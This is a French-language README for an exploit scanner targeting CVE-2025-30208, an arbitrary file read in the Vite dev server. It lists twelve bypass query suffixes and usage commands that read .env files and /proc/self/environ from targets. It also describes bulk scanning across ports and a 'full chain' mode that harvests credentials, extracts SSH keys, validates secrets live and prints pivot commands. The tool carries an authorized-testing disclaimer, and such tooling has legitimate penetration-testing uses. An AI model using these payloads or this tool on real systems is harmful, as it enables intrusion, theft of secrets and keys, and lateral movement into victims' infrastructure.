
Scanner d'exploit pour CVE-2025-30208 (lecture arbitraire de fichiers Vite) avec détection de contournement multi-variante, récolte d'identifiants, extraction de clés SSH, et rapports structurés pour les tests de pénétration autorisés.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Gravité : CVSS 5.3 Moyen (serveur de développement accessible via le réseau)
⚠ Réservé aux tests de sécurité autorisés.
Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale.
Le serveur de développement de Vite permet de servir des fichiers arbitraires du système de fichiers hôte via des requêtes /@fs/.
Une vérification de désinfection de la chaîne de requête manquante dans les versions affectées permet à un attaquant d'ajouter des suffixes spécialement conçus pour contourner la liste blanche et lire tout fichier accessible par le processus — y compris les fichiers .env, les clés privées SSH, les identifiants cloud et les entrées /proc.
| Branche | Dernière vulnérable | Corrigée |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Nom | Suffixe / Requête | Description |
|---|---|---|
raw?? | ?raw?? | Les ?? terminaux cassent rawRE |
import&raw?? | ?import&raw?? | Module ES + raw combinés |
raw? | ?raw? | Un seul ? final |
url&raw?? | ?url&raw?? | Mode URL combiné |
raw&url?? | ?raw&url?? | Ordre des paramètres inversé |
import&?raw | ?import&?raw | Préfixe d'import malformé |
sec-fetch | ?raw + en-tête Sec-Fetch | Contexte de script navigateur |
raw-encoded | ?raw%3f%3f | Séparateurs encodés URL |
double-slash | ?raw??/ | Contournement par double barre oblique (v5) |
pct-all | %3fraw%3f%3f | Requête entièrement encodée en pourcentage (v5) |
raw-hash | ?raw??# | Contournement par ancre de fragment (v5) |
wasm-init | ?inline=1.wasm?init | CVE-2025-31125 connexe (init wasm) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Option | Défaut | Description |
|---|---|---|
-t/--target | — | URL d'une seule cible |
-l/--lists | — | Fichier contenant une cible par ligne |
--stealth | off | Ajouter des délais aléatoires entre les requêtes |
--proxy | — | Proxy HTTP/HTTPS (http://host:port) |
--timeout | 10 | Délai d'attente par requête en secondes |
--verify | off | Activer la vérification du certificat TLS |
--file | — | Lire un chemin spécifique sur la machine cible |
--save | — | Enregistrer le contenu de --file vers un chemin local |
--full-chain | on | Exécuter la chaîne d'exploitation complète (la validation en direct est par défaut) |
--output | — | Écrire le rapport JSON + Markdown dans ce chemin de base |
--workers | 10 | Travailleurs parallèles pour l'analyse en masse |
--ports | voir ci-dessous | Ports séparés par des virgules à sonder en mode masse |
--no-color/--plain | off | Désactiver les codes couleur ANSI |
--safe-mode | off | Cacher les valeurs secrètes dans la sortie terminal |
--show-secrets | off | Afficher tous les secrets dans le terminal (remplace --safe-mode) |
--version | — | Afficher la version et quitter |
Ports par défaut pour l'analyse en masse : 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Quand --output /tmp/report est spécifié, le scanner écrit :
/tmp/report.json — résultats structurés lisibles par machine/tmp/report.md — rapport Markdown lisible par un humainL'analyse en masse affiche toujours VULN_COUNT=N sur la dernière ligne pour faciliter les scripts shell :
python main.py -l targets.txt | grep '^VULN_COUNT='
Les analyses cible unique affichent SCAN_STATUS=VULNERABLE|NOT_VULNERABLE à la fin pour l'automatisation.
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
Le scanner supprime automatiquement les artefacts répétés afin que la sortie reste propre même lorsque HOME est égal à /root ou que le même secret apparaît dans plusieurs fichiers :
| Couche | Mécanisme |
|---|---|
| Lectures du système de fichiers | stage_fs normalise la liste de base des clés SSH avec dict.fromkeys et supprime les chemins en double de la file d'attente reads avant toute production de sortie. |
| Enregistrements de fichiers | Scanner._save vérifie un ensemble _seen_file_paths par analyse ; les chemins en double renvoient le FR déjà stocké sans le ré-ajouter à r.files. |
| Secrets | Scanner._save déduplique r.secrets globalement par (name, value) sur tous les fichiers ; la déduplication intra-fichier est traitée séparément dans scan_secrets. |
| Clés SSH | stage_ssh regroupe les clés ayant la même signature PEM (premiers _PEM_SIG_LEN octets) qui apparaissent dans plusieurs fichiers sources. |
| Commandes de pivot | Les blocs de pivot sont indexés par (key_source, host, port) ; les combinaisons identiques ne sont imprimées qu'une seule fois. |
La ligne de résumé indique combien de fichiers, secrets et clés SSH ont été supprimés en tant que doublons, par exemple :
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates